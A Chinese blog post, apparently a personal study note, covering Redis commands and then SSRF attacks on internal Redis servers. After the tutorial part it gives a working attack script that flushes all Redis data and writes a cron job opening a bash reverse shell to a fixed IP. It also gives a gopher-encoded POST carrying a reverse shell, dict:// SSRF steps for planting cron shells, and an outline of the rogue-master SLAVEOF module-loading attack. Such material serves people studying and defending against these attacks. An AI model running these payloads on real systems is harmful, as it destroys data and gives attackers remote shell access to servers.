zoukankan      html  css  js  c++  java
  • Redis利用,攻击内网(ssrf)

    Redis语法

    REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
    Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
    它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

    基本命令

    Redis 命令用于在 redis 服务上执行操作,其基本语法为: $ redis-cli $ redis-cli -h host -p port -a password

    Redis 键(key)
    redis 127.0.0.1:6379> SET runoobkey redis
    OK
    redis 127.0.0.1:6379> GET runoobkey
    "redis"
    redis 127.0.0.1:6379> DEL runoobkey
    (integer) 1
    

    在以上实例中 DEL 是一个命令, runoobkey 是一个键。 如果键被删除成功,命令执行后输出 (integer) 1,否则将输出 (integer) 0. 常见的Redis key。

    1   DEL key
    该命令用于在 key 存在时删除 key。
    2   DUMP key
    序列化给定 key ,并返回被序列化的值。
    3   EXISTS key
    检查给定 key 是否存在
    1   SET key value
    设置指定 key 的值
    2   GET key
    获取指定 key 的值。
    3   GETRANGE key start end
    

    Redis hash 是一个 string 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。 例如:

    127.0.0.1:6379>  HMSET runoobkey name "redis tutorial" description "redis basic commands for caching" likes 20 visitors 23000
    OK
    127.0.0.1:6379>  HGETALL runoobkey
    1) "name"
    2) "redis tutorial"
    3) "description"
    4) "redis basic commands for caching"
    5) "likes"
    6) "20"
    7) "visitors"
    8) "23000"
    
    1   HDEL key field1 [field2]
    删除一个或多个哈希表字段
    2   HEXISTS key field
    查看哈希表 key 中,指定的字段是否存在。
    3   HGET key field
    获取存储在哈希表中指定字段的值。
    4   HGETALL key
    获取在哈希表中指定 key 的所有字段和值
    

    Redis 事务命令:

    1   DISCARD
    取消事务,放弃执行事务块内的所有命令。
    2   EXEC
    执行所有事务块内的命令。
    3   MULTI
    标记一个事务块的开始。
    4   UNWATCH
    取消 WATCH 命令对所有 key 的监视。
    5   WATCH key [key ...]
    监视一个(或多个) key ,如果在事务执行之前这个(或这些) key 被其他命令所改动,那么事务将被打断
    

    Redis 脚本:

    执行脚本的常用命令为 EVAL。 
    redis 127.0.0.1:6379> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second
    
    1) "key1"
    2) "key2"
    3) "first"
    4) "second"
    1   EVAL script numkeys key [key ...] arg [arg ...]
    执行 Lua 脚本。
    2   EVALSHA sha1 numkeys key [key ...] arg [arg ...]
    执行 Lua 脚本。
    3   SCRIPT EXISTS script [script ...]
    查看指定的脚本是否已经被保存在缓存当中。
    4   SCRIPT FLUSH
    从脚本缓存中移除所有脚本。
    5   SCRIPT KILL
    杀死当前正在运行的 Lua 脚本。
    6   SCRIPT LOAD script
    将脚本 script 添加到脚本缓存中,但并不立即执行这个脚本。
    
    攻击payload:
    redis-cli -h $1 flushall
    echo -e "
    
    */1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
    
    "|redis-cli -h $1 -x set 1
    redis-cli -h $1 config set dir /var/spool/cron/
    redis-cli -h $1 config set dbfilename root
    redis-cli -h $1 save
    

    第一步redis-cli -h $1 flushall,我们调用了redis的命令,-h这里指的是我们的主机ip地址,即$1这个变量,Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。 实例:

    redis 127.0.0.1:6379> DBSIZE            # 0 号数据库的 key 数量
    (integer) 9
    
    redis 127.0.0.1:6379> SELECT 1          # 切换到 1 号数据库
    OK
    
    redis 127.0.0.1:6379> DBSIZE         # 1 号数据库的 key 数量
    (integer) 6
    
    redis 127.0.0.1:6379> flushall       # 清空所有数据库的所有 key
    OK
    
    redis 127.0.0.1:6379> DBSIZE         # 不但 1 号数据库被清空了
    (integer) 0
    
    redis 127.0.0.1:6379> SELECT 0       # 0 号数据库(以及其他所有数据库)也一样
    OK
    
    redis 127.0.0.1:6379> DBSIZE
    (integer) 0
    

    对于第二步:echo -e " */1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1 "|redis-cli -h $1 -x set 1这里我们利用到了Redis的管道技术,可以查看使用手册,手册上对其的定义是Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应。我们单纯的将前半段语句带入得到

    root@kali:~# echo -e "
    
    */1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
    
    "
    
    
    */1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
    

    可以看到后半段是一个bashshell反弹,前半段我在网上查了之后发现这应该是定时计划,就是定时的执行我们的bash反弹,有三种定时的文件 /var/spool/cron/root , /var/spool/cron/crontabs/root 以及/etc/crontab,至于他的格式,我想这张图非常直观,我找了好久,qaq,这就代表这个指令是一直生效的,不会停止。
    第三步: 指定本地数据库存放目录为/var/spool/cron/ 第四步: config get:获取配置文件信息。
    config set:动态地调整 Redis 服务器的配置(configuration)而无须重启,可以修改的配置参数可以使用命令 CONFIG GET * 来列出,指定本地数据库文件名,默认值为dump.rdb,跟据上面我提到的三个路径在前两个路径我们的用户文件名为root,第三个是crontab,所以我们有不同的两种写法, 第一种:

    redis-cli -h $1 config set dir /var/spool/cron/
    redis-cli -h $1 config set dbfilename root
    

    第二种:

    config set dir /etc/
    onfig set dbfilename crontab
    

    最后一步,Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘, 保存成功就返回 OK ,这一步就是保存到我们的硬盘文件上了。

    攻击 FastCGI

    FastCGI是什么:FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来。多数流行的HTTP服务器都支持FastCGI,包括Apache、Nginx和lightpd。

    这个原理我还没有搞懂先挂着

    攻击内网 Vulnerability Web

    这一部分利用到了post请求相对简单,只需要我们利用gopher协议,对其进行编码改包把我们的提权指令传进去,但是注意特殊字符要使用url编码。
    实例:

    POST /exp.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: curl/7.43.0
    Accept: */*
    Content-Length: 49
    Content-Type: application/x-www-form-urlencoded
    
    e=bash -i >%26 /dev/tcp/10.0.0.1/2333 0>%261
    

    把整个包以post请求利用gopher发出:

    gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/10.0.0.1/2333 0>%25261null
    

    从一位师傅那里找的图

    DICT协议向redis写shell

    词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。
    我们可以通过三条命令查看能否利用dict协议。
    步骤一:利用flushall清理所有数据,保证我们接下来设置的定时任务能够执行成功。http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/flushall
    步骤二:写入反弹命令:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/bhost=*.*.*.*%26bport=1234 步骤三:设置导出的路径就是我们的定时计划目录:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/
    步骤四:设置导出的名字http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
    步骤五:到处我们的设置也就是保存在磁盘中:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/save

    Redis Slaveof 命令(服务器主从关系攻击)

    命令作用:

     如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。
    另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。 
    主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能
    设置主从:
    redis 127.0.0.1:6379> SLAVEOF 127.0.0.1 6379
    OK
    断开主从以读取写数据
    redis 127.0.0.1:6379> SLAVEOF NO ONE
    OK
    

    当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器,但这样对服务器可能会造成信息文件的丢失,这里需要我们自己搭建一个服务器搭载redis服务,它的原理是在自己掌控的服务器上面写上shell,然后通过ssrf漏洞让内网服务器执行同步命令,并把shell写到内网服务器上,绕过了过滤,因为slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了,总而言之就是master负责读,slave负责写,我们服务端读到了,那么本地目标机器就写上去了,就是这么简单。 详细通讯过程:

    这里是一种最简单的绕过利用方法:
    这里的$4,$7是表示命令行长度。

    参考链接

    https://www.cnblogs.com/-chenxs/p/11749367.html
    https://blog.chaitin.cn/gopher-attack-surfaces/

    https://www.t00ls.net/articles-56339.html

  • 相关阅读:
    JSONP原理
    什么是跨域,如何解决
    工程化与模块化开
    vue双向数据绑定原理
    vuex原理
    BFC 原理
    http状态码 301、302区别
    用户页面打开很慢,有哪些优化方式?
    webpack打包
    Promise 原理
  • 原文地址:https://www.cnblogs.com/ophxc/p/12872815.html
Copyright © 2011-2022 走看看